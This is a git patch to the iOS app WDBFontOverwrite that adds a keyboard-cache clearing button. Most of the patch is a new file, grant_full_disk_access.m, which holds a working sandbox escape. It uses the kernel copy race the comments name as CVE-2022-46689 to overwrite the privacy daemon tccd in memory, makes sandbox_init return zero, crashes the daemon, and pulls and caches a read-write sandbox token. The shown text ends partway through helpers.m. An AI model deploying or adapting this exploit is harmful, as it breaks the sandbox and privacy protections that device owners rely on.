From 641217118e361e051a4f0bb7213249112b1d6153 Mon Sep 17 00:00:00 2001 From: ginsudev Date: Sun, 29 Jan 2023 18:41:33 +1100 Subject: [PATCH] Added clear keyboard cache button --- WDBFontOverwrite.xcodeproj/project.pbxproj | 28 +- WDBFontOverwrite/Info.plist | 2 + ...springButton.swift => ActionButtons.swift} | 28 +- .../MainInterface/CustomFontsScene.swift | 2 +- .../MainInterface/PresetFontsScene.swift | 2 +- .../WDBFontOverwrite-Bridging-Header.h | 1 + WDBFontOverwrite/WDBFontOverwriteApp.swift | 17 +- WDBFontOverwrite/_UIKeyboardCache.m | 1 - WDBFontOverwrite/grant_full_disk_access.h | 13 + WDBFontOverwrite/grant_full_disk_access.m | 400 ++++++++++++++++++ WDBFontOverwrite/helpers.h | 12 + WDBFontOverwrite/helpers.m | 130 ++++++ 12 files changed, 614 insertions(+), 22 deletions(-) rename WDBFontOverwrite/MainInterface/{RespringButton.swift => ActionButtons.swift} (50%) create mode 100644 WDBFontOverwrite/grant_full_disk_access.h create mode 100644 WDBFontOverwrite/grant_full_disk_access.m create mode 100644 WDBFontOverwrite/helpers.h create mode 100644 WDBFontOverwrite/helpers.m diff --git a/WDBFontOverwrite.xcodeproj/project.pbxproj b/WDBFontOverwrite.xcodeproj/project.pbxproj index 8e6265a..1eb0c49 100644 --- a/WDBFontOverwrite.xcodeproj/project.pbxproj +++ b/WDBFontOverwrite.xcodeproj/project.pbxproj @@ -8,6 +8,8 @@ /* Begin PBXBuildFile section */ 4F4E64A7295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4F4E64A6295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift */; }; + 4FD690952986367C00B751B2 /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 4FD690942986367C00B751B2 /* grant_full_disk_access.m */; }; + 4FD690992986395B00B751B2 /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 4FD690982986395B00B751B2 /* helpers.m */; }; 4FE5EF312963E460003384EC /* NoticeView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF302963E460003384EC /* NoticeView.swift */; }; 4FE5EF3329640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF3229640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift */; }; 4FE5EF3529653188003384EC /* FontMap.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FE5EF3429653188003384EC /* FontMap.swift */; }; @@ -22,7 +24,7 @@ 4FF28A0E2967955400143640 /* PresetFontsScene.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A0D2967955400143640 /* PresetFontsScene.swift */; }; 4FF28A102967956300143640 /* PresetFontsScene.ViewModel.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A0F2967956300143640 /* PresetFontsScene.ViewModel.swift */; }; 4FF28A1229679EEC00143640 /* ExplanationView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A1129679EEC00143640 /* ExplanationView.swift */; }; - 4FF28A142967AA2D00143640 /* RespringButton.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A132967AA2D00143640 /* RespringButton.swift */; }; + 4FF28A142967AA2D00143640 /* ActionButtons.swift in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A132967AA2D00143640 /* ActionButtons.swift */; }; 4FF28A162967B77800143640 /* _UIKeyboardCache.m in Sources */ = {isa = PBXBuildFile; fileRef = 4FF28A152967B77800143640 /* _UIKeyboardCache.m */; }; C55CF776295BA9B1000DE71C /* BrotliPadding.swift in Sources */ = {isa = PBXBuildFile; fileRef = C55CF775295BA9B1000DE71C /* BrotliPadding.swift */; }; C5A95F46295964AE00C58FDB /* PreviewFonts in Resources */ = {isa = PBXBuildFile; fileRef = C5A95F45295964AE00C58FDB /* PreviewFonts */; }; @@ -37,6 +39,10 @@ /* Begin PBXFileReference section */ 4F4E64A6295F9AB600D4F04D /* CustomFontsScene.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CustomFontsScene.ViewModel.swift; sourceTree = ""; }; + 4FD690942986367C00B751B2 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; + 4FD69096298637D400B751B2 /* grant_full_disk_access.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; + 4FD690972986394200B751B2 /* helpers.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; + 4FD690982986395B00B751B2 /* helpers.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; 4FE5EF302963E460003384EC /* NoticeView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = NoticeView.swift; sourceTree = ""; }; 4FE5EF3229640075003384EC /* WDBImportCustomFontPickerViewControllerDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WDBImportCustomFontPickerViewControllerDelegate.swift; sourceTree = ""; }; 4FE5EF3429653188003384EC /* FontMap.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = FontMap.swift; sourceTree = ""; }; @@ -51,7 +57,7 @@ 4FF28A0D2967955400143640 /* PresetFontsScene.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PresetFontsScene.swift; sourceTree = ""; }; 4FF28A0F2967956300143640 /* PresetFontsScene.ViewModel.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = PresetFontsScene.ViewModel.swift; sourceTree = ""; }; 4FF28A1129679EEC00143640 /* ExplanationView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ExplanationView.swift; sourceTree = ""; }; - 4FF28A132967AA2D00143640 /* RespringButton.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RespringButton.swift; sourceTree = ""; }; + 4FF28A132967AA2D00143640 /* ActionButtons.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ActionButtons.swift; sourceTree = ""; }; 4FF28A152967B77800143640 /* _UIKeyboardCache.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = _UIKeyboardCache.m; sourceTree = ""; }; 4FF28A172967B78600143640 /* _UIKeyboardCache.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = _UIKeyboardCache.h; sourceTree = ""; }; C55CF775295BA9B1000DE71C /* BrotliPadding.swift */ = {isa = PBXFileReference; fileEncoding = 4; indentWidth = 4; lastKnownFileType = sourcecode.swift; path = BrotliPadding.swift; sourceTree = ""; tabWidth = 4; usesTabs = 0; }; @@ -109,7 +115,7 @@ 4FF28A0F2967956300143640 /* PresetFontsScene.ViewModel.swift */, 4FE5EF302963E460003384EC /* NoticeView.swift */, 4FF28A1129679EEC00143640 /* ExplanationView.swift */, - 4FF28A132967AA2D00143640 /* RespringButton.swift */, + 4FF28A132967AA2D00143640 /* ActionButtons.swift */, ); path = MainInterface; sourceTree = ""; @@ -165,6 +171,10 @@ C5C9A7962959261200466D87 /* Assets.xcassets */, 4FF28A152967B77800143640 /* _UIKeyboardCache.m */, 4FF28A172967B78600143640 /* _UIKeyboardCache.h */, + 4FD690942986367C00B751B2 /* grant_full_disk_access.m */, + 4FD69096298637D400B751B2 /* grant_full_disk_access.h */, + 4FD690982986395B00B751B2 /* helpers.m */, + 4FD690972986394200B751B2 /* helpers.h */, C5C9A7A92959417100466D87 /* vm_unaligned_copy_switch_race.c */, C5C9A7AB2959438600466D87 /* vm_unaligned_copy_switch_race.h */, C5C9A7A82959417100466D87 /* WDBFontOverwrite-Bridging-Header.h */, @@ -261,13 +271,15 @@ C55CF776295BA9B1000DE71C /* BrotliPadding.swift in Sources */, 4FE5EF3E29664537003384EC /* ProgressManager.swift in Sources */, 4FE5EF452966AD87003384EC /* FontDiscoveryScene.swift in Sources */, + 4FD690992986395B00B751B2 /* helpers.m in Sources */, 4FF28A1229679EEC00143640 /* ExplanationView.swift in Sources */, C5C9A7932959261000466D87 /* WDBFontOverwriteApp.swift in Sources */, 4FE5EF38296561A5003384EC /* FileEditorView.swift in Sources */, + 4FD690952986367C00B751B2 /* grant_full_disk_access.m in Sources */, 4FF28A162967B77800143640 /* _UIKeyboardCache.m in Sources */, 4FE5EF472966AD98003384EC /* FontDiscoveryScene.ViewModel.swift in Sources */, C5C9A7AA2959417100466D87 /* vm_unaligned_copy_switch_race.c in Sources */, - 4FF28A142967AA2D00143640 /* RespringButton.swift in Sources */, + 4FF28A142967AA2D00143640 /* ActionButtons.swift in Sources */, 4FE5EF4129668C9C003384EC /* AlignedRowContentView.swift in Sources */, 4FE5EF492966AE1A003384EC /* FontDiscoveryCard.swift in Sources */, 4FE5EF3529653188003384EC /* FontMap.swift in Sources */, @@ -414,7 +426,7 @@ INFOPLIST_KEY_UILaunchScreen_Generation = YES; INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; - IPHONEOS_DEPLOYMENT_TARGET = 15.0; + IPHONEOS_DEPLOYMENT_TARGET = 14.0; LD_RUNPATH_SEARCH_PATHS = ( "$(inherited)", "@executable_path/Frameworks", @@ -423,7 +435,7 @@ "$(inherited)", "$(PROJECT_DIR)/WDBFontOverwrite", ); - MARKETING_VERSION = 1.10.4; + MARKETING_VERSION = 1.10.6; PRODUCT_BUNDLE_IDENTIFIER = com.ginsu.WDBFontOverwrite; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; @@ -452,7 +464,7 @@ INFOPLIST_KEY_UILaunchScreen_Generation = YES; INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; - IPHONEOS_DEPLOYMENT_TARGET = 15.0; + IPHONEOS_DEPLOYMENT_TARGET = 14.0; LD_RUNPATH_SEARCH_PATHS = ( "$(inherited)", "@executable_path/Frameworks", @@ -461,7 +473,7 @@ "$(inherited)", "$(PROJECT_DIR)/WDBFontOverwrite", ); - MARKETING_VERSION = 1.10.4; + MARKETING_VERSION = 1.10.6; PRODUCT_BUNDLE_IDENTIFIER = com.ginsu.WDBFontOverwrite; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_EMIT_LOC_STRINGS = YES; diff --git a/WDBFontOverwrite/Info.plist b/WDBFontOverwrite/Info.plist index fc0d420..d936af0 100644 --- a/WDBFontOverwrite/Info.plist +++ b/WDBFontOverwrite/Info.plist @@ -42,5 +42,7 @@ + NSAppleMusicUsageDescription + WDBFontOverwrite diff --git a/WDBFontOverwrite/MainInterface/RespringButton.swift b/WDBFontOverwrite/MainInterface/ActionButtons.swift similarity index 50% rename from WDBFontOverwrite/MainInterface/RespringButton.swift rename to WDBFontOverwrite/MainInterface/ActionButtons.swift index 11f72ab..bddd638 100644 --- a/WDBFontOverwrite/MainInterface/RespringButton.swift +++ b/WDBFontOverwrite/MainInterface/ActionButtons.swift @@ -1,5 +1,5 @@ // -// RespringButton.swift +// ActionButtons.swift // WDBFontOverwrite // // Created by Noah Little on 6/1/2023. @@ -7,8 +7,18 @@ import SwiftUI -struct RespringButton: View { +struct ActionButtons: View { var body: some View { + if #available(iOS 15, *) { + Button { + clearKBCache() + } label: { + AlignedRowContentView( + imageName: "trash", + text: "Clear keyboard cache" + ) + } + } Button { respring() } label: { @@ -19,6 +29,16 @@ struct RespringButton: View { } } + private func clearKBCache() { + grant_full_disk_access { error in + if error != nil { + print("can't get disk access") + } else { + _UIKeyboardCache.purge() + } + } + } + private func respring() { let sharedApplication = UIApplication.shared let windows = sharedApplication.windows @@ -30,8 +50,8 @@ struct RespringButton: View { } } -struct RespringButton_Previews: PreviewProvider { +struct ActionButtons_Previews: PreviewProvider { static var previews: some View { - RespringButton() + ActionButtons() } } diff --git a/WDBFontOverwrite/MainInterface/CustomFontsScene.swift b/WDBFontOverwrite/MainInterface/CustomFontsScene.swift index e204641..f53a265 100644 --- a/WDBFontOverwrite/MainInterface/CustomFontsScene.swift +++ b/WDBFontOverwrite/MainInterface/CustomFontsScene.swift @@ -100,7 +100,7 @@ struct CustomFontsScene: View { text: "Manage imported fonts" ) } - RespringButton() + ActionButtons() } header: { Text("Actions") } footer: { diff --git a/WDBFontOverwrite/MainInterface/PresetFontsScene.swift b/WDBFontOverwrite/MainInterface/PresetFontsScene.swift index 7a4ac34..2aef7d1 100644 --- a/WDBFontOverwrite/MainInterface/PresetFontsScene.swift +++ b/WDBFontOverwrite/MainInterface/PresetFontsScene.swift @@ -56,7 +56,7 @@ private extension PresetFontsScene { private var actionSection: some View { Section { - RespringButton() + ActionButtons() } header: { Text("Actions") } footer: { diff --git a/WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h b/WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h index 25cfe8b..bd0c865 100644 --- a/WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h +++ b/WDBFontOverwrite/WDBFontOverwrite-Bridging-Header.h @@ -1,2 +1,3 @@ #import "vm_unaligned_copy_switch_race.h" #import "_UIKeyboardCache.h" +#import "grant_full_disk_access.h" diff --git a/WDBFontOverwrite/WDBFontOverwriteApp.swift b/WDBFontOverwrite/WDBFontOverwriteApp.swift index e78d88e..8094cf1 100644 --- a/WDBFontOverwrite/WDBFontOverwriteApp.swift +++ b/WDBFontOverwrite/WDBFontOverwriteApp.swift @@ -28,17 +28,21 @@ struct WDBFontOverwriteApp: App { } } .environmentObject(progressManager) - .alert("Import log", isPresented: $progressManager.isPresentedResultsAlert, actions: { - Button("Dismiss", role: .cancel) { } - }, message: { - Text(logMessage) - }) + .alert( + isPresented: $progressManager.isPresentedResultsAlert, + content: { + Alert( + title: Text("Import log"), + message: Text(logMessage), + dismissButton: .cancel(Text("Dismiss")) + ) + } + ) } } private var logMessage: String { var message = "" - for result in progressManager.importResults { switch result { case .success: @@ -47,7 +51,6 @@ struct WDBFontOverwriteApp: App { message += "\(string)\n" } } - return message } } diff --git a/WDBFontOverwrite/_UIKeyboardCache.m b/WDBFontOverwrite/_UIKeyboardCache.m index 10eab3d..bebc148 100644 --- a/WDBFontOverwrite/_UIKeyboardCache.m +++ b/WDBFontOverwrite/_UIKeyboardCache.m @@ -13,7 +13,6 @@ @implementation _UIKeyboardCache + (void)purge { - // TODO: - Find a way to make this work when sanbox is no longer a problem... void *handle = dlopen("/System/Library/PrivateFrameworks/UIKitCore.framework/UIKitCore", RTLD_NOW); if (handle) { NSObject *kbCache = [objc_getClass("UIKeyboardCache") performSelector:@selector(sharedInstance)]; diff --git a/WDBFontOverwrite/grant_full_disk_access.h b/WDBFontOverwrite/grant_full_disk_access.h new file mode 100644 index 0000000..015b45b --- /dev/null +++ b/WDBFontOverwrite/grant_full_disk_access.h @@ -0,0 +1,13 @@ +// +// grant_full_disk_access.h +// WDBFontOverwrite +// +// Created by Noah Little on 29/1/2023. +// +@import Foundation; +#ifndef grant_full_disk_access_h +#define grant_full_disk_access_h + +void grant_full_disk_access(void (^completion)(NSError* _Nullable)); + +#endif /* grant_full_disk_access_h */ diff --git a/WDBFontOverwrite/grant_full_disk_access.m b/WDBFontOverwrite/grant_full_disk_access.m new file mode 100644 index 0000000..300f018 --- /dev/null +++ b/WDBFontOverwrite/grant_full_disk_access.m @@ -0,0 +1,400 @@ +@import Darwin; +@import Foundation; +@import MachO; + +#import +// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from +// WDBFontOverwrite +// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything) +// Please don't call this code on iOS 14 or below +// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot) +#import "helpers.h" +#import "vm_unaligned_copy_switch_race.h" + +typedef NSObject* xpc_object_t; +typedef xpc_object_t xpc_connection_t; +typedef void (^xpc_handler_t)(xpc_object_t object); +xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys, + xpc_object_t _Nullable const* values, size_t count); +xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq, + uint64_t flags); +void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler); +void xpc_connection_resume(xpc_connection_t connection); +void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, + dispatch_queue_t replyq, xpc_handler_t handler); +xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, + xpc_object_t message); +xpc_object_t xpc_bool_create(bool value); +xpc_object_t xpc_string_create(const char* string); +xpc_object_t xpc_null_create(void); +const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key); + +int64_t sandbox_extension_consume(const char* token); + +// MARK: - patchfind + +struct grant_full_disk_access_offsets { + uint64_t offset_addr_s_com_apple_tcc_; + uint64_t offset_padding_space_for_read_write_string; + uint64_t offset_addr_s_kTCCServiceMediaLibrary; + uint64_t offset_auth_got__sandbox_init; + uint64_t offset_just_return_0; + bool is_arm64e; +}; + +static bool patchfind_sections(void* executable_map, + struct segment_command_64** data_const_segment_out, + struct symtab_command** symtab_out, + struct dysymtab_command** dysymtab_out) { + struct mach_header_64* executable_header = executable_map; + struct load_command* load_command = executable_map + sizeof(struct mach_header_64); + for (int load_command_index = 0; load_command_index < executable_header->ncmds; + load_command_index++) { + switch (load_command->cmd) { + case LC_SEGMENT_64: { + struct segment_command_64* segment = (struct segment_command_64*)load_command; + if (strcmp(segment->segname, "__DATA_CONST") == 0) { + *data_const_segment_out = segment; + } + break; + } + case LC_SYMTAB: { + *symtab_out = (struct symtab_command*)load_command; + break; + } + case LC_DYSYMTAB: { + *dysymtab_out = (struct dysymtab_command*)load_command; + break; + } + } + load_command = ((void*)load_command) + load_command->cmdsize; + } + return true; +} + +static uint64_t patchfind_get_padding(struct segment_command_64* segment) { + struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64); + struct section_64* last_section = §ion_array[segment->nsects - 1]; + return last_section->offset + last_section->size; +} + +static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length, + const char* needle) { + void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1); + if (!str_offset) { + return 0; + } + uint64_t str_file_offset = str_offset - executable_map; + for (int i = 0; i < executable_length; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + i); + if ((val & 0xfffffffful) == str_file_offset) { + return i; + } + } + return 0; +} + +static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) { + // TCCDSyncAccessAction::sequencer + // mov x0, #0 + // ret + static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6}; + void* offset = memmem(executable_map, executable_length, needle, sizeof(needle)); + if (!offset) { + return 0; + } + return offset - executable_map; +} + +static uint64_t patchfind_got(void* executable_map, size_t executable_length, + struct segment_command_64* data_const_segment, + struct symtab_command* symtab_command, + struct dysymtab_command* dysymtab_command, + const char* target_symbol_name) { + uint64_t target_symbol_index = 0; + for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) { + struct nlist_64* sym = + ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index; + const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx; + if (strcmp(sym_name, target_symbol_name)) { + continue; + } + // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map)); + target_symbol_index = sym_index; + break; + } + + struct section_64* section_array = + ((void*)data_const_segment) + sizeof(struct segment_command_64); + struct section_64* first_section = §ion_array[0]; + if (strcmp(first_section->sectname, "__auth_got")) { + // TODO(zhuowei): arm64? + return 0; + } + uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff; + + for (int i = 0; i < first_section->size; i += 8) { + uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i); + uint64_t indirect_table_entry = (val & 0xfffful); + if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) { + return first_section->offset + i; + } + } + return 0; +} + +static bool patchfind(void* executable_map, size_t executable_length, + struct grant_full_disk_access_offsets* offsets) { + struct segment_command_64* data_const_segment = nil; + struct symtab_command* symtab_command = nil; + struct dysymtab_command* dysymtab_command = nil; + if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command, + &dysymtab_command)) { + printf("no sections\n"); + return false; + } + if ((offsets->offset_addr_s_com_apple_tcc_ = + patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) { + printf("no com.apple.tcc. string\n"); + return false; + } + if ((offsets->offset_padding_space_for_read_write_string = + patchfind_get_padding(data_const_segment)) == 0) { + printf("no padding\n"); + return false; + } + if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string( + executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) { + printf("no kTCCServiceMediaLibrary string\n"); + return false; + } + if ((offsets->offset_auth_got__sandbox_init = + patchfind_got(executable_map, executable_length, data_const_segment, symtab_command, + dysymtab_command, "_sandbox_init")) == 0) { + printf("no sandbox_init\n"); + return false; + } + if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) == + 0) { + printf("no just return 0\n"); + return false; + } + struct mach_header_64* executable_header = executable_map; + offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E; + + return true; +} + +// MARK: - tccd patching + +static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) { + // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can + // re-use it until next reboot returns the sandbox token if there is one, or nil if there isn't + // one. + xpc_connection_t connection = xpc_connection_create_mach_service( + "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0); + xpc_connection_set_event_handler(connection, ^(xpc_object_t object) { + NSLog(@"xpc event handler: %@", object); + }); + xpc_connection_resume(connection); + const char* keys[] = { + "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight", + "target_token", "background_session", + }; + xpc_object_t values[] = { + xpc_string_create("17087.1"), + xpc_string_create("TCCAccessRequest"), + xpc_string_create("com.apple.app-sandbox.read-write"), + xpc_null_create(), + xpc_bool_create(false), + xpc_null_create(), + xpc_bool_create(false), + }; + xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys)); +#if 0 + xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message); + NSLog(@"%@", response_message); + +#endif + xpc_connection_send_message_with_reply( + connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), + ^(xpc_object_t object) { + if (!object) { + NSLog(@"object is nil???"); + completion(nil); + return; + } + NSLog(@"response: %@", object); + if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) { + NSLog(@"xpc error?"); + completion(nil); + return; + } + NSLog(@"debug description: %@", [object debugDescription]); + const char* extension_string = xpc_dictionary_get_string(object, "extension"); + NSString* extension_nsstring = + extension_string ? [NSString stringWithUTF8String:extension_string] : nil; + completion(extension_nsstring); + }); +} + +static NSData* patchTCCD(void* executableMap, size_t executableLength) { + struct grant_full_disk_access_offsets offsets = {}; + if (!patchfind(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr); + char* mutableBytes = data.mutableBytes; + { + // rewrite com.apple.tcc. into blank string + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0; + } + { + // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write" + // we need to stick this somewhere; just put it in the padding between + // the end of __objc_arrayobj and the end of __DATA_CONST + strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string), + "com.apple.app-sandbox.read-write"); + struct dyld_chained_ptr_arm64e_rebase targetRebase = + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary); + targetRebase.target = offsets.offset_padding_space_for_read_write_string; + *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes + + offsets.offset_addr_s_kTCCServiceMediaLibrary) = + targetRebase; + *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) = + strlen("com.apple.app-sandbox.read-write"); + } + { + // make sandbox_init call return 0; + struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = { + .auth = 1, + .bind = 0, + .next = 1, + .key = 0, // IA + .addrDiv = 1, + .diversity = 0, + .target = offsets.offset_just_return_0, + }; + *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets.offset_auth_got__sandbox_init) = + targetRebase; + } + return data; +} + +static bool overwrite_file(int fd, NSData* sourceData) { + for (int off = 0; off < sourceData.length; off += 0x4000) { + bool success = false; + for (int i = 0; i < 2; i++) { + if (unaligned_copy_switch_race( + fd, off, sourceData.bytes + off, + off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) { + success = true; + break; + } + } + if (!success) { + return false; + } + } + return true; +} + +static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token, + NSError* _Nullable error)) { + char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = patchTCCD(targetMap, targetLength); + if (!sourceData) { + completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:5 + userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]); + return; + } + + if (!overwrite_file(fd, sourceData)) { + overwrite_file(fd, originalData); + munmap(targetMap, targetLength); + completion( + nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:1 + userInfo:@{ + NSLocalizedDescriptionKey : @"Can't overwrite file: your device may " + @"not be vulnerable to CVE-2022-46689." + }]); + return; + } + munmap(targetMap, targetLength); + + xpc_crasher("com.apple.tccd"); + sleep(1); + call_tccd(^(NSString* _Nullable extension_token) { + overwrite_file(fd, originalData); + xpc_crasher("com.apple.tccd"); + NSError* returnError = nil; + if (extension_token == nil) { + returnError = + [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:2 + userInfo:@{ + NSLocalizedDescriptionKey : @"tccd did not return an extension token." + }]; + } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) { + returnError = [NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:3 + userInfo:@{ + NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token " + @"instead of an app sandbox token." + }]; + extension_token = nil; + } + completion(extension_token, returnError); + }); +} + +void grant_full_disk_access(void (^completion)(NSError* _Nullable)) { + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory + inDomains:NSUserDomainMask][0]; + NSURL* sourceURL = + [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"]; + NSError* error = nil; + NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL + encoding:NSUTF8StringEncoding + error:&error]; + if (cachedToken) { + int64_t handle = sandbox_extension_consume(cachedToken.UTF8String); + if (handle > 0) { + // cached version worked + completion(nil); + return; + } + } + grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) { + if (error) { + completion(error); + return; + } + int64_t handle = sandbox_extension_consume(extension_token.UTF8String); + if (handle <= 0) { + completion([NSError + errorWithDomain:@"com.worthdoingbadly.fulldiskaccess" + code:4 + userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]); + return; + } + [extension_token writeToURL:sourceURL + atomically:true + encoding:NSUTF8StringEncoding + error:&error]; + completion(nil); + }); +} \ No newline at end of file diff --git a/WDBFontOverwrite/helpers.h b/WDBFontOverwrite/helpers.h new file mode 100644 index 0000000..aaf9f94 --- /dev/null +++ b/WDBFontOverwrite/helpers.h @@ -0,0 +1,12 @@ +#ifndef helpers_h +#define helpers_h + +char* get_temp_file_path(void); +void test_nsexpressions(void); +char* set_up_tmp_file(void); + +void xpc_crasher(char* service_name); + +#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL)) + +#endif /* helpers_h */ diff --git a/WDBFontOverwrite/helpers.m b/WDBFontOverwrite/helpers.m new file mode 100644 index 0000000..6231ec6 --- /dev/null +++ b/WDBFontOverwrite/helpers.m @@ -0,0 +1,130 @@ +#import +#include +#include +#include + +char* get_temp_file_path(void) { + return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]); +} + +// create a read-only test file we can target: +char* set_up_tmp_file(void) { + char* path = get_temp_file_path(); + printf("path: %s\n", path); + + FILE* f = fopen(path, "w"); + if (!f) { + printf("opening the tmp file failed...\n"); + return NULL; + } 